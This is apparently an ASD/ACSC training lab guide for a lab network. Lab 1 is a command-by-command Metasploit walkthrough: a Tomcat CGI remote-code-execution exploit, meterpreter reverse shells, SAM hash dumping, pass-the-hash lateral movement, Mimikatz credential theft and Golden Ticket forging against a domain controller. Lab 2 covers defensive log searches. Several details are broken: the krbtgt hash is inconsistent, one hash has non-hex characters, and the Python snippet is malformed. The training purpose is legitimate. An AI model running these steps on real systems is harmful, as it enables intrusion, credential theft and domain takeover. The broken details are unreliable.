PRIVILEGED USER TRAINING — ASD / ACSC

Hacker Tools and
Techniques Lab Guide

June 2026

Lab #1
Exploitation & Propagation
Lab #2
Log File Analysis
ASD
Australian Signals Directorate
ACSC
Australian Cyber Security Centre

Lab Objectives

  • This lab aims to demonstrate the tools and techniques used by attackers to exploit systems. As you progress through the lab, note the ease with which activities can be performed and the maturity of the tools we are using.
  • The lab is not designed to make you a professional penetration tester.
  • You will observe that there are several design flaws built into the lab, and we will discuss how these design flaws are addressed by the ASD's Strategies to Mitigate Cyber Security Incidents.

Course content

    Terminal Command Notation

    • Key Formatting Rules:
      • The Terminal Prompt: The lab guide's prompt will appear before the command you need to type. It may end with either a # or > and will be in a white font.
      • Your Input: The actual command you must type will be presented in a dark box with Bold + Red font.

    Example

    • Here is a typical example you will see in the guide:
    The Prompt from the system will be in this colour:
    The response you are expected to type is this colour.

    Lab #1 – > sudo switch_mindset --force

    • All lab work is done in your web browser such as Chrome, Edge, or Firefox.
    • You will need to do the training on a non-corporate network (such as a home network), as the links to the labs may be blocked by a corporate network.
    • You will need to do the training on a non-corporate laptop (such as a personal laptop), as the links to the labs may be blocked by a corporate configured/hardened device.
    • For best results Do not Copy/Paste. When typing, double check for accuracy.
    • You have been provided a unique lab address which will be similar to this https://lab##.privuser.com/guacamole/ but will have an individual lab number.
    • Remember to include the trailing backslash:
    Pre-Flight Connectivity Diagnostic

    Enter your assigned lab URL (e.g. lab12.privuser.com/guacamole/) and run a quick reachability test before launching your lab session.

    Connecting to your lab
    UID:
    PWD:
    APACHE GUACAMOLE
    ••••••••••••••••••
    Login
    You will now be at the next
    authentication screen.
    Connecting to kali
    Session: Xorg
    UID: kali
    PWD: kali
    • Click on the OK button and your Kali Linux Desktop will appear.
    • You may also get a pop up from the browser asking to allow clipboard access. Click on the Allow button.
    • You will then be in the Kali Linux Desktop environment and ready to commence the Lab session.

    Discovery

    This lab aims to demonstrate the tools and techniques used by attackers to exploit systems. As you progress through the lab, note the ease with which activities can be performed and the maturity of the tools we are using.

    • To save time, we are picking up after a vulnerability scan has been run against the EVIL.CORP webserver, found at IP address 10.0.0.40
    • You can locate a copy of this scan report from the course materials website:
    • https://course.privuser.com/vuln_scan.pdf
    • The scan identified many vulnerabilities (see page 4 of the vuln_scan.pdf report).
    10.0.0.40
    1
    CRITICAL
    7
    HIGH
    4
    MEDIUM
    0
    LOW
    15
    INFO

    Scan Information

    Start time:Fri Feb 25 06:53:12 2022End time:Fri Feb 25 07:10:35 2022

    Host Information

    DNS Name:ip-10-0-0-40.ap-southeast-2.compute.internalIP:10.0.0.40OS:Microsoft Windows Server 2012 R2 Standard
    • This scan was performed with no firewall rules in place to provide insight into some of the things this type of activity can detect if run internally.
    • This information can also be used to identify issues requiring remediation.
    • The screenshots here show an example of a vulnerability identified by the Automated Vulnerability Scanner tool – Tenable Nessus.

    Discovery (continued)

    136806 - Apache Tomcat 9.0.0 < 9.0.35 Remote Code Execution

    Synopsis

    The remote Apache Tomcat server is affected by a remote code execution vulnerability

    Description

    The version of Tomcat installed on the remote host is prior to 9.0.35. It is, therefore, affected by a remote code execution vulnerability as referenced in the fixed_in_apache_tomcat_9.0.35_security-9 advisory. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

    See Also

    http://www.nessus.org/u?1c58824c

    Solution

    Upgrade to Apache Tomcat version 9.0.35 or later.

    Risk Factor

    Medium

    • Multiple vulnerabilities relating to Apache Tomcat RCE were identified by the Nessus scanner, but vulnerability scanners, like any tool, are imperfect.
    • Using a different Vulnerability scanner (OpenVAS) reveals that the vulnerability relates to CGI Servlets, and that the vulnerability allows for 'remote code execution', granting the ability to run arbitrary programs when successfully exploited.
    Result: Apache Tomcat RCE Vulnerability - April19 (Windows)

    Vulnerability

    Apache Tomcat RCE Vulnerability - April19 (Windows)

    Summary

    Apache Tomcat is prone to a remote code execution vulnerability due to a bug in the way the JRE passes command line arguments

    Vulnerability Detection Result

    Installed version: 9.0.17
    Fixed version: 9.0.19
    Installation path / port: /

    Solution

    Solution type: VendorFix

    Update to version 7.0.94, 8.5.40, 9.0.19 or later.

    Affected Software/OS

    Apache Tomcat 7.0.0 to 7.0.93, 8.5.0 to 8.5.39 and 9.0.0.M1 to 9.0.17.

    Vulnerability Insight

    When running on Windows with enableCmdLineArguments enabled, the CGI Servlet is vulnerable to Remote Code Execution due to enableCmdLineArguments is disabled by default in Tomcat.

    Vulnerability Detection Method

    Checks if a vulnerable version is present on the target host.

    Details: Apache Tomcat RCE Vulnerability - April19 (Windows) (OID: 1.3.6.1.4.1.25623.1.0.142265)

    Version used: 2019-05-10T11:41:35+0000

    Step One: Metasploit Framework - Open a Terminal Window

    This lab aims to demonstrate the tools and techniques used by attackers to exploit systems. As you progress through the lab, note the ease with which activities can be performed and the maturity of the tools we are using.

    Once a vulnerability is identified, the next phase is to exploit it to gain access. We will use the Metasploit Framework (msfconsole), a powerful tool for developing and executing exploit code.

    We need to open a terminal to start inputting commands.

    ▸ Open a command terminal by clicking on the terminal icon in the taskbar

    Step Two: Launch Metasploit

    Start the Metasploit console.

    root@kali:# msfconsole

    Step Three: Search for an exploit

    Once Metasploit has started, we will see whether there is an existing exploit already packaged for our use.

    You can search for pre-packaged tomcat components through the command search tomcat.

    msf6 > search tomcat

    Step Four: Search for and use an exploit (continued)

    Several pre-packaged exploits are returned but noting that the exploit identified by the OpenVAS tool was related to 'cgi servlets' we can try a more specific search. Let's try the command search tomcat cgi

    msf6 > search tomcat cgi

    Searching the more concise list we see an exploit for tomcat_cgi_cmdlineargs which fits the description of that identified in the OpenVAS vulnerability scan results.

    To use an exploit simply type the command use followed by the name of the exploit, in this instance it is:

    msf6 > use exploit/windows/http/tomcat_cgi_cmdlineargs

    Note: the terminal now reflects we are using the exploit. In addition, note that the exploit payload has automatically been selected. The 'payload' is the program that is run when the exploit completes successfully. We will select a different payload later.

    Step Five: Configure an exploit

    Now we are inside the exploit we need to determine its attributes to configure it correctly for running in a successful manner. We first do this by running the options command.

    msf6 exploit (windows/http/tomcat_cgi_cmdlineargs) > options

    Note: The Required column tells us what information is required to be configured (everything with a Yes, requires a setting to be configured against the target). To configure these options, we use the set command.

    If we wanted to set the rhosts to target the identified vulnerable webserver we would enter the command as follows.

    msf6 exploit (windows/http/tomcat_cgi_cmdlineargs) > set rhosts 10.0.0.40

    Step Five: Configure an exploit (continued)

    The vulnerability scan told us that the vulnerable webserver is running on port 8080 so there is no need to reconfigure that option as it is already set to 8080.

    The scan results did not explicitly provide the path to the vulnerable script. However, through manual analysis (or an upcoming process to be explained), the vulnerable path has been identified as:

    • /cgi/test.bat

    This script is associated with the web page titled "Charges to dead customers". For now, use this identified path to configure the exploit module:

    msf6 exploit (windows/http/tomcat_cgi_cmdlineargs) > set targeturi /cgi/test.bat

    Step Five (a): Verification Step

    To confirm its existence and basic functionality, you can manually test the script in a browser by opening the Firefox browser in Kali and navigating to the following URL:

    http://10.0.0.40:8080/cgi/test.bat?&dir

    (A quick explanation of how /cgi/test.bat was discovered in the first place will follow later.)

    Step Six: Metasploit – Using an Exploit

    We also need to change the payload, as by default Metasploit is a 32-bit application, but we need to configure the payload to reflect the architecture of our Target server. To do that, we need to run the following command:

    msf6 exploit (windows/http/tomcat_cgi_cmdlineargs) > set payload windows/x64/meterpreter/reverse_tcp

    Now if you re-run the options command, your complete configuration should list entries under the Current Setting column for:

    • RHOSTS – 10.0.0.40
    • RPORT - 8080
    • TARGETURI - /cgi/test.bat

    Your Payload options should also show that the x64 variant has been set.

    Step Seven: Metasploit – Running the Exploit

    We are now ready to run the exploit against the vulnerable webserver. This is performed by entering the command exploit:

    msf6 exploit (windows/http/tomcat_cgi_cmdlineargs) > exploit

    Meterpreter Session: The Interactive Shell

    Upon successful exploitation, you'll enter a Meterpreter session, indicated by the meterpreter > prompt.

    This session acts as an interactive shell with the compromised host, like an SSH session and you can now issue commands directly to the target system.

    Just as you can have multiple concurrent SSH sessions to different servers, you can also manage multiple Meterpreter sessions from Metasploit.

    To effectively work with the compromised host and utilize advanced features (like privilege escalation or persistence), you often need to interact with the session from outside the interactive shell—that is, from the main Metasploit console (msf>).

    Think of this as setting up or configuring an SSH tunnel before entering the session. This external interaction allows you to specify options, run post-exploitation modules, and manage the session's overall behaviour

    Step Eight: Working with a Compromised Host

    We can now start to interact with the compromised session.

    Typing the command sysinfo from a meterpreter session reveals some information relating to our compromised system.

    meterpreter > sysinfo

    The command getuid can be used to show the compromised user context

    meterpreter > getuid

    Note that the getuid command informs us that we are connected as the local system account (NT AUTHORITY\SYSTEM).

    With this privilege we can issue the meterpreter command hashdump to dump hashes stored in the local Security Account Manager database.

    meterpreter > hashdump
    Administrator:500: aad3b435b51404eeaad3b435b51404ee:6e240daaa9c47a55643ea3d7d45bc328 Guest:501: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 IEUser:1009: aad3b435b51404eeaad3b435b51404ee:673cc4abe10bea9f4d115eabc7b57346

    We recommend storing the hashes captured above in a notepad application, as we will use the Administrator hash to further network propagation shortly.

    Step Nine: Network Propagation

    Reconnaissance - the compromised host within the evil.corp network can be used to discover information about the internal network.

    One of the options within a meterpreter session is to run a native shell on the compromised host. We do this via the shell command.

    meterpreter > shell

    This will open a shell on our target to run commands as though we were on the webserver desktop.

    We then run the command ipconfig /all and can identify that there is a second network interface card showing an internal network is 10.0.1.0/24. We also see the Fully Qualified Domain Name (FQDN) of evil.corp.

    C:\Program Files (x86)\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi> ipconfig /all

    Exit from the shell interface by typing the command exit

    C:\Program Files (x86)\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi> exit

    This will put you back at the meterpreter > prompt. From here you want to issue the background command to put this session to sleep.

    meterpreter > background

    Now it is time to set up routing to the compromised network to further our incursion into the environment.

    Step Nine: Network Propagation (continued)

    To move laterally within the internal network, we want to set up rules which forward our traffic through to the compromised host network. We can do this via the autoroute command. We select to use autoroute and configure the required options.

    Note we need to specify the session we are going to route the traffic through. It would be little use to forward traffic through the wrong session as it would not reach the desired network. In our case we want to route the traffic through session 1.

    msf6 exploit(windows/http/tomcat_cgi_cmdlineargs) > use post/multi/manage/autoroute
    msf6 post(multi/manage/autoroute) > set session 1
    msf6 post(multi/manage/autoroute) > exploit

    Note the required routes have been automatically created for us. We can run the command route to confirm the routes have been created.

    msf6 post(multi/manage/autoroute) > route

    Step Nine: Network Propagation (continued)

    Initiating the Internal Network ARP Scan

    From the compromised webserver, we'll use the native Address Resolution Protocol (ARP) scanner to map the internal network. Be aware that this scan can take up to two minutes.

    msf6 post(multi/manage/autoroute) > use post/windows/gather/arp_scanner
    msf6 post(windows/gather/arp_scanner) > set rhosts 10.0.1.0/24
    msf6 post(windows/gather/arp_scanner) > set session 1
    msf6 post(windows/gather/arp_scanner) > exploit

    Referencing the provided network diagram, you're free to cancel the scan (CTRL + C) as soon as you discover a sufficient number of target hosts.

    There are a range of other scans we can run to find other information. The command set session 1 was run as an example to provide insight into how we might gather more information about the environment. This usually takes a very long time to complete and is optional, but the information acquired from the ARP scanner above can reduce the scan time by focusing only on systems we are aware of.

    At the end of the scan process we will have identified five (5) IP addresses that may be useful to us:

    • IP: 10.0.1.1 MAC 0a:1a:ed:ac:8c:47
    • IP: 10.0.1.20 MAC 0a:cd:02:e9:05:47
    • IP: 10.0.1.30 MAC 0a:d8:4c:3c:72:97
    • IP: 10.0.1.40 MAC 0a:c0:1a:1b:97:df
    • IP: 10.0.1.255 MAC 0a:c0:1a:1b:97:df

    We already know that 10.0.1.40 is the webserver, so we can skip that. 10.0.1.1, and 10.0.1.255 are likely to be network devices, so we can skip those also.

    However, 10.0.1.20 and 10.0.1.30 are in the same logical part of the range as the webserver and may be related to it.

    Step Nine: Network Propagation (continued)

    Following the initial network discovery, we'll now focus on determining the services running on the newly identified hosts, 10.0.1.20 and 10.0.1.30.

    A crucial first step in any internal penetration test is locating systems running Server Message Block (SMB), as misconfigurations in this protocol often lead to significant vulnerabilities.

    To do this efficiently, we will leverage the Metasploit Framework's auxiliary modules, specifically an SMB scanner like (auxiliary/scanner/smb/smb_version).

    msf6 post(windows/gather/arp_scanner) > use auxiliary/scanner/smb/smb_version
    msf6 auxiliary(scanner/smb/smb_version) > set rhosts 10.0.1.20 10.0.1.30
    msf6 auxiliary(scanner/smb/smb_version) > exploit

    This targeted scan will check both hosts for active SMB services and attempt to fingerprint the operating system and version, providing us with the critical information needed to plan our next steps: credential brute-forcing, exploiting unpatched vulnerabilities, or attempting NULL session access.

    [+] 10.0.1.20:445 - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:) wired) (uptime:1h 59m 19s) (guid:{4ec2e5ea-f574-4e80-bd67-3776436f4865}) (authentication domain:EVIL) [+] 10.0.1.20:445 - Host is running Windows 2016 Datacenter (build:14393) (name:WIN-DC-01) (domain:EVIL) [*] Scanned 1 of 2 hosts (50% complete) [*] Scanned 1 of 2 hosts (50% complete) [*] Scanned 1 of 2 hosts (50% complete) [+] 10.0.1.30:445 - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.1.1) ional) (uptime:2h 0m 4s) (guid:{44fafe6d-4186-4bed-8afa-049782d41b20}) (authentication domain:EVIL) [+] 10.0.1.30:445 - Host is running Windows 2016 Datacenter (build:14393) (name:WKSTN-01) (domain:EVIL) [*] Scanned 2 of 2 hosts (100% complete) [*] Auxiliary module execution completed

    Now that we have enumerated our internal network and have a basis, let's utilise the other information we have to make our attack happen.

    Step Ten: Pass the Hash – Workstation Access

    Recall earlier we recovered hashes from the local SAM database on the webserver. If the same credentials are used elsewhere in the network, we will be able to pass the hash to gain access.

    A real-world scenario of this is the local admin account on PCs within an enterprise environment. We will use a tool called psexec to pass the hash. We will target the accessible workstation on the network and see whether the same local account is in use. We will use the administrator account.

    Note that when we are successful in passing the hash our meterpreter session will need to be tunnelled from our hacker workstation, through the compromised web server to the newly compromised workstation. Our hacker machine address is not routable from the perspective of the workstation, so we need to set up some sort of reverse port forwarder. Sounds hard! Fortunately, it's already built into Metasploit. So, all we need to do is set the lhost to the compromised webserver and the magic will just happen.

    msf6 auxiliary(scanner/smb/smb_version) > use exploit/windows/smb/psexec
    msf6 exploit(windows/smb/psexec) > set smbuser administrator
    msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:6e240daaa9c47a55643ea3d7d45bc328
    msf6 exploit(windows/smb/psexec) > set rhosts 10.0.1.30
    msf6 exploit(windows/smb/psexec) > set lhost 10.0.1.40
    msf6 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp

    Check our options command to make sure we have everything checked. Note – ensure that lhost is set to 10.0.1.40 and that unlike rhosts, there is no plural on lhost (because we can have multiple targets, but only one listening host.

    msf6 exploit(windows/smb/psexec) > options

    Step Ten: Pass the Hash – Workstation Access (continued)

    Let's begin our attack.

    msf6 exploit(windows/smb/psexec) > exploit

    We should now have a meterpreter shell again on the WKSTN-01 host. Let's confirm by running the sysinfo command again.

    meterpreter > sysinfo

    Hopefully, we still have the high privilege level from before, let's run the getuid command to check.

    meterpreter > getuid

    Stealing Credentials for Pass-the-Hash with Mimikatz

    Now that we have command-line access to the compromised workstation (10.0.1.30, WKSTN-01), our objective is to extract cached credentials from the system's memory to facilitate a Pass-the-Hash (PtH) attack against the domain controller. We'll achieve this by loading the Kiwi module, which integrates the powerful Mimikatz tool directly into our Meterpreter session. First, load the tool using the command load kiwi.

    meterpreter > load kiwi

    Once loaded, you can check the available options by running the command help kiwi.

    meterpreter > help kiwi

    This will allow us to execute Mimikatz commands like the creds_msv command to retrieve the stored LM/NTLM hashes.

    meterpreter > creds_msv

    These stolen hashes are the key to escalating our privileges and gaining access to other systems, including the domain controller (WIN-DC-01), without ever needing to crack the passwords.

    UsernameDomainNTLM Hash
    AdministratorEVIL7d52e81f8de165e2e8664a90296a2ae7
    WKSTN-01$EVILBA454040AUqAdU90904f1df1f72bfc

    Step Eleven: Pass the Hash – using Mimikatz

    Note that because a domain administrator is logged onto the host, we can recover a domain administrator hash and use this to authenticate to the domain controller.

    With the domain administrator hash we can now access the domain controller. We will again use psexec. One important thing to note is that if only the NTLM hash is available, we need to provide a place holder for the LM hash component (so we pad with 32 zeroes before the NTLM hash).

    00000000000000000000000000000000:7d52e81f8de165e2e8664a90296a2ae7

    We begin by once again placing our meterpreter session in the background.

    meterpreter > background

    Now we're back at the Metasploit prompt, readying our fortitude to attack the DC. So, let's start configuring our system:

    msf6 exploit(windows/smb/psexec) > set rhosts 10.0.1.20
    msf6 exploit(windows/smb/psexec) > set lhost 10.0.1.40
    msf6 exploit(windows/smb/psexec) > set smbdomain evil
    msf6 exploit(windows/smb/psexec) > set smbuser administrator
    msf6 exploit(windows/smb/psexec) > set smbpass 00000000000000000000000000000000:7d52e81f8de165e2e8664a90296a2ae7
    msf6 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp

    Check our options command to make sure we have everything checked. Note – ensure that lhost is set to 10.0.1.40 and that all 32 zeroes and the hash have been input correctly.

    msf6 exploit(windows/smb/psexec) > options

    Now we exploit

    msf6 exploit(windows/smb/psexec) > exploit

    Step Twelve: Domain Dominance – Golden Ticket

    We should now have a meterpreter shell and be on the Domain Controller (WIN-DC-01).

    meterpreter > sysinfo

    Again, check to make sure our privilege level is still high.

    meterpreter > getuid

    Creating the Golden Ticket

    To create the Golden Ticket on the Domain Controller, you need to use the kiwi Meterpreter module, which integrates Mimikatz functionalities.

    Load the kiwi module: Since this is a new Meterpreter session, the module must be loaded first.

    meterpreter > load kiwi

    Execute the Golden Ticket command:

    Once the module is loaded, you can run the command to create the Golden Ticket golden_ticket_create.

    meterpreter > golden_ticket_create

    Golden Ticket Creation Parameters

    To generate the Golden Ticket, we require the following parameters:

    ParameterCommand FlagDescription
    Fully Qualified Domain Name-devil.corp
    Domain SID-sS-1-5-21-60724019-3617488015-2841620851
    Target Username-uadministrator
    KRBTGT NTLM Hash-kff9752bba99d5d3af63d7ffd86c46dd5
    Output path-t/home/kali/goldenticket.txt

    We know from earlier in the lesson running the ipconfig /all command gave us the FQDN of evil.corp

    Now, the Domain SID is acquired via a shell command executed through the existing Meterpreter session on the Domain Controller WIN-DC-01.

    Step Thirteen: Domain Dominance – Golden Ticket (continued)

    Enter shell: meterpreter > shell

    meterpreter > shell

    We will now be at the CMD terminal on the DC host.

    C:\Windows\systems32 >

    Execute WMIC command to retrieve user SIDs: C:\Windows\system32> wmic useraccount get name, sid

    C:\Windows\systems32 > wmic useraccount get name, sid

    The numbers following the final hyphen ('-') in a Security Identifier (SID) represent the Relative Identifier (RID), which is the unique user ID within a domain. For example, the built-in account KRBTGT typically has a RID of 502.

    The common prefix for all SIDs within this environment is the domain SID: S-1-5-21-60724019-3617488015-2841620851.

    We will now have a list of all SIDs, let's copy and use the KRBTGT account one.

    NameSID
    AdministratorS-1-5-21-60724019-3617488015-2841620851-500
    GuestS-1-5-21-60724019-3617488015-2841620851-501
    krbtgtS-1-5-21-60724019-3617488015-2841620851-502
    DefaultAccountS-1-5-21-60724019-3617488015-2841620851-503
    kelly.smithS-1-5-21-60724019-3617488015-2841620851-1111

    Close the interactive Windows command shell to return to the Meterpreter prompt:

    C:\Windows\systems32 > exit

    Execute the hashdump command via the Meterpreter session on the domain controller to extract and display password hashes from the Security Account Manager (SAM) database

    meterpreter > hashdump

    Step Thirteen: Domain Dominance – Golden Ticket (continued)

    Here are the stored hashes off the DC.

    NameNTLM Hash
    Administratoraad3b435b51404eeaad3b435b51404ee:7d52e81f8de165e2e8664a90296a2ae7
    Guestaad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    krbtgtaad3b435b51404eeaad3b435b51404ee:ff9752bba99d5d3af63d7fbd86c46dd5
    DefaultAccountaad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    kelly.smithaad3b435b51404eeaad3b435b51404ee:94749e3714aa915916f39adb52c6c0b2
    WIN-DC-01$:aad3b435b51404eeaad3b435b51404ee:b4116103e7f1bfbfe70dacedac292718
    WKSTN-01$:aad3b435b51404eeaad3b435b51404ee:ba4540466addbd0988d4fad111c72ebc
    WEBSERVER-01$aad3b435b51404eeaad3b435b51404ee:8a5e284290e98e2f78debbd0121af42c

    Unlike previous use, we are only going to use the NTLM hash of the KRBTGT account, and you will notice that the -k flag requires the use of the windows backslash \. The reason for the backslash is that is the standard Windows convention for separating a Domain Name from a User Account Name. Mimikatz commands often require this format to specify which domain the credential or hash belongs to.

    In the context of the KRBTGT hash, while you usually use the /domain:<Domain_Name> switch for Golden Tickets, other Mimikatz commands or underlying Windows API calls require the DOMAIN\USER structure to correctly identify the context of the credential.

    So, let's put it all together and see if can create our golden ticket:

    meterpreter > golden_ticket_create -d evil.corp -u administrator -k \ff9752bba99d5d3af63d7ffd86c46dd5 -s S-1-5-21-60724019-3617488015-2841620851 -t /home/kali/goldenticket.txt

    Upon successful completion in our home folder should be a file called "goldenticket.txt".

    QkFVTDAAAQAQFGYOAAAAAQAPMQQAAPIAAQAMQAQAAPIOAQAAPJOAQAAPQYOFGYOAAADLGILSMmLNVcncinaAWAC4AA ACIGhAAAAACAHHAAAAACAKHAAAAACAKHAAAAACABBNTYNTYpNDBfN2x2dXJQc3JCS3JuDWdQMTAAQ0I0AQAADGExOQ QAADGEXOQQAADGEXOQQAADGExOQQAADXB1WlRkTWdTTk1kSEkSektOcTOfNYkIUSXcwV09pNFk3S GA5WQ9UWWF4ZENBVSOMOWLETOFUFndkRLRzGPSC9EYB0VFTIZSXPTI1ZtVHkQNhrVGZRg+Qrg+zIODlM3h2NAE2Nmm/ Tgp0tGawXCaLbhA5kXLKKkXQQkXEY3d6tEY4TXdFXS54Xg4LHgY0HR2LP6OLd/uD/uWdXpQE7B3Y/ZWNW/SPMOXCaVpjZ zFXfHK2CkB2dDAVGV/XGLAzEsSeSOV8DPBfQBL+tP08LbkRNTBNSFOKF0Rcg/pFCZCgDxgbHXBTyXdBTlbXICNhCKB0uF5 atj0+/RHRXg/pYPpfCAPSjQ3gGLS+gZmtEIRP1TfIMag8XKLkRfmrOK4FXSOFQRBVCnDybVCNXY/qWjMVxQqjUnS3UDBdQLj P5bVIH9PT5TjXJm8BKS6Rh16RmWklicbkcpObGzCVBBAVKcE/a7BUuzAPh0Hp/FrwdZQPTmyF84N6tDBtBOSNOWSNVSnH RXzJUEVSG5FG239p/jHM2MVLpS6P6PRDDr/MAPtWnO/LlNREZrbjbaOCSsFayfVFx5N2gR/...

    We will see later in this course how to restore this session as part of a spear phishing attack.

    Addendum to Lab 1

    So, if you have finished early, and just want a little additional work to do, let's walk through the automated way to find scripts and other resources of interest on a website.

    • Using a proxy tool, /cgi/test.bat can be discovered by an automated discovery process, so let's take a detour and hunt for the CGI Script.
    • Our detour requires us to use a proxy tool called ZAP.
    • In our hacker machine, click on the dragon symbol (which is our effective START) button, then move your mouse to 03 – Web Application Analysis.
    • When the submenu opens, hover over the ZAP tool icon and select it. The ZAP application will start to load.
    • We don't want to persist our session, so ensure No is selected and then click on the Start button.
    • Close the Manage Add-Ons screen that pop-up 30 seconds after ZAP starts.
    • By default, there are no Sites in the ZAP proxy so we need to open and configure our web browser first.
    • Open Firefox and navigate to http://10.0.0.40:8080 — the proxy is now pre-configured by the script below.
    Automated ZAP Proxy Setup Script

    Save this script as zap-proxy-setup.sh on your Kali desktop, make it executable, and run it. It pre-configures Firefox to route through ZAP on localhost:8080 — no manual Settings menu navigation required.

    #!/bin/bash # ============================================================ # ZAP Proxy Auto-Configuration — Kali Linux Firefox # Routes HTTP/HTTPS through localhost:8080 (ZAP default) # Usage: chmod +x zap-proxy-setup.sh && ./zap-proxy-setup.sh # ============================================================ set -e PROFILE_DIR=$(find ~/.mozilla/firefox -maxdepth 1 -name "*.default*" -type d 2>/dev/null | head -1) if [ -z "$PROFILE_DIR" ]; then echo "Creating Firefox profile…" timeout 5 firefox --headless --first-startup 2>/dev/null || true PROFILE_DIR=$(find ~/.mozilla/firefox -maxdepth 1 -name "*.default*" -type d 2>/dev/null | head -1) fi if [ -z "$PROFILE_DIR" ]; then echo "ERROR: No Firefox profile found." >&2 exit 1 fi PREFS="$PROFILE_DIR/prefs.js" # Backup current preferences cp "$PREFS" "$PREFS.bak.$(date +%s)" # Remove existing proxy settings sed -i '/network\.proxy\./d' "$PREFS" # Write ZAP proxy configuration cat >> "$PREFS" << 'PROXY_EOF' user_pref("network.proxy.type", 1); user_pref("network.proxy.http", "localhost"); user_pref("network.proxy.http_port", 8080); user_pref("network.proxy.ssl", "localhost"); user_pref("network.proxy.ssl_port", 8080); user_pref("network.proxy.share_proxy_settings", true); user_pref("network.proxy.no_proxies_on", "127.0.0.1,localhost"); PROXY_EOF echo "✓ Firefox proxy configured → localhost:8080" echo "✓ Restart Firefox, then browse to http://10.0.0.40:8080" echo " Revert: mv $PREFS.bak.* $PREFS"

    After running the script, restart Firefox and navigate to http://10.0.0.40:8080. Accept the ZAP SSL certificate warning to continue, then return to ZAP to see the site in the Sites list.

    • We will receive a warning about an untrusted certificate, for now it is ok to click on Advanced – then click on "Accept the Risk and Continue"
    • In the ZAP tool you will now notice that the Sites list knows about the http://10.0.0.40:8080 location.

    Addendum to Lab 1 (continued)

    So, if you have finished early, and just want a little additional work to do, let's walk through the automated way to find scripts and other resources of interest on a website.

    • We right click on the http://10.0.0.40:8080 location, select Attack, then Spider
    • Click on the Start Scan button to continue
    • Our site is now scanned automatically for links, and we can see that a cgi folder is discovered
    • Inside the cgi folder, is the /cgi/test.bat needed for the TARGETURI requirement.
    • Right click on the GET:test.bat(dir) and select the submenu item Open URL in System Browser
    • This addendum exercise is now complete

    Lab #2 – Log File Analysis

    file_names = get_file_names(site) read_file(file_names) get_file_names(site_name): # Get file names path = 'source_files\\' + site_name wildcard_pattern = "*" root_dir = os.path.join(path, wildcard_pattern) file_names = glob.glob(root_dir) return file_names read_file(file_name): for file in file_name: df = pd.read_csv(file, delim_whitespace=True, names=data_column_names, usecols=filter_columns, header=0, index_col # print(df.index.dtype) df.index = pd.to_datetime(df.index, errors='coerce') # df.sort_index() # print(df.index.dtype) print(file) print("Number of rows on file #{0} before filtering is: {1}".format(file_name.index(file), df.shape[0])) df = df[['.' not in x for x in df.Requested_URI]] # df = df[['66.249.' in x for x in df.Requesting_IP]] # Filter GoogleBot hits

    Lab 2 - Post-Exploitation & Log Analysis

    After gaining access, an attacker will try to understand the system and cover their tracks. As defenders, we can analyse system logs to uncover their activity. The grep command is essential for searching through log files for specific keywords.

    • Time to Complete: 10 Minutes
    • Log into your hacker machine from earlier.
    • On the Kali Desktop is a folder called Home, double click to open it.
    • Locate the folder inside the Home folder called Logs Lab 1, right click on it and select the 'Open Terminal Here' option.

    Key Investigation Questions

    We need to answer these questions by analysing the logs:

    • How was our system compromised?
    • Was there one attacker or multiples?
    • What did they do once they were on the system?

    Technique 1: Find Failed Password Attempts

    Search all files in the current directory for lines containing "failed password for" to identify failed account logins.

    [kali@kali] - [~/Logs Lab 1] $ > grep -i "failed password for" *

    Technique 2: Find Accepted Password Attempts

    Search all files in the current directory for lines containing "accepted password for root" to identify successful root logins.

    [kali@kali] - [~/Logs Lab 1] $ > grep -i "accepted password for root" *

    Lab #2 - Post-Exploitation & Log Analysis (continued)

    Technique 3: Look for New Users

    Search for evidence of new user creation, which could indicate an attacker creating a persistent backdoor account.

    • UID 0: Reserved for the root user, also known as the superuser or administrator.
    • UIDs 1 to 999: Reserved for system users and processes.
    • UIDs 1000 and above: Typically assigned to regular user accounts.
    [kali@kali] - [~/Logs Lab 1] $ > grep -i "new user" *

    Technique 4: Check for Installed Packages

    Check for newly installed packages. Comparing this against a system baseline and system build documents (such as the System Security Plan) would certainly help here, but even without one, suspicious packages can be identified.

    [kali@kali] - [~/Logs Lab 1] $ > grep -i "status installed" *

    Technique 5: Inspect Firewall Rules

    Look for changes to iptables (the system firewall). Attackers may modify firewall rules to allow their traffic in or out.

    [kali@kali] - [~/Logs Lab 1] $ > grep -i "iptables" *

    We should now be able to successfully answer the initial questions asked and determine what has happened in our environment.

    Challenge — Knowledge Check

    5 QUESTIONS · INSTANT FEEDBACK · LAB CONCEPTS

    Q1

    Which Metasploit command is used to display the configuration options for a selected exploit module?

    Q2

    After successfully exploiting the Apache Tomcat CGI vulnerability, what Meterpreter command reveals the current user context on the compromised system?

    Q3

    What technique allows an attacker to authenticate to other systems using a captured password hash — without ever cracking the underlying password?

    Q4

    In Lab #2 log analysis, which grep command would you use to detect evidence of a new user account being created on a Linux system?

    Q5

    A Golden Ticket attack requires the NTLM hash of which specific Active Directory account?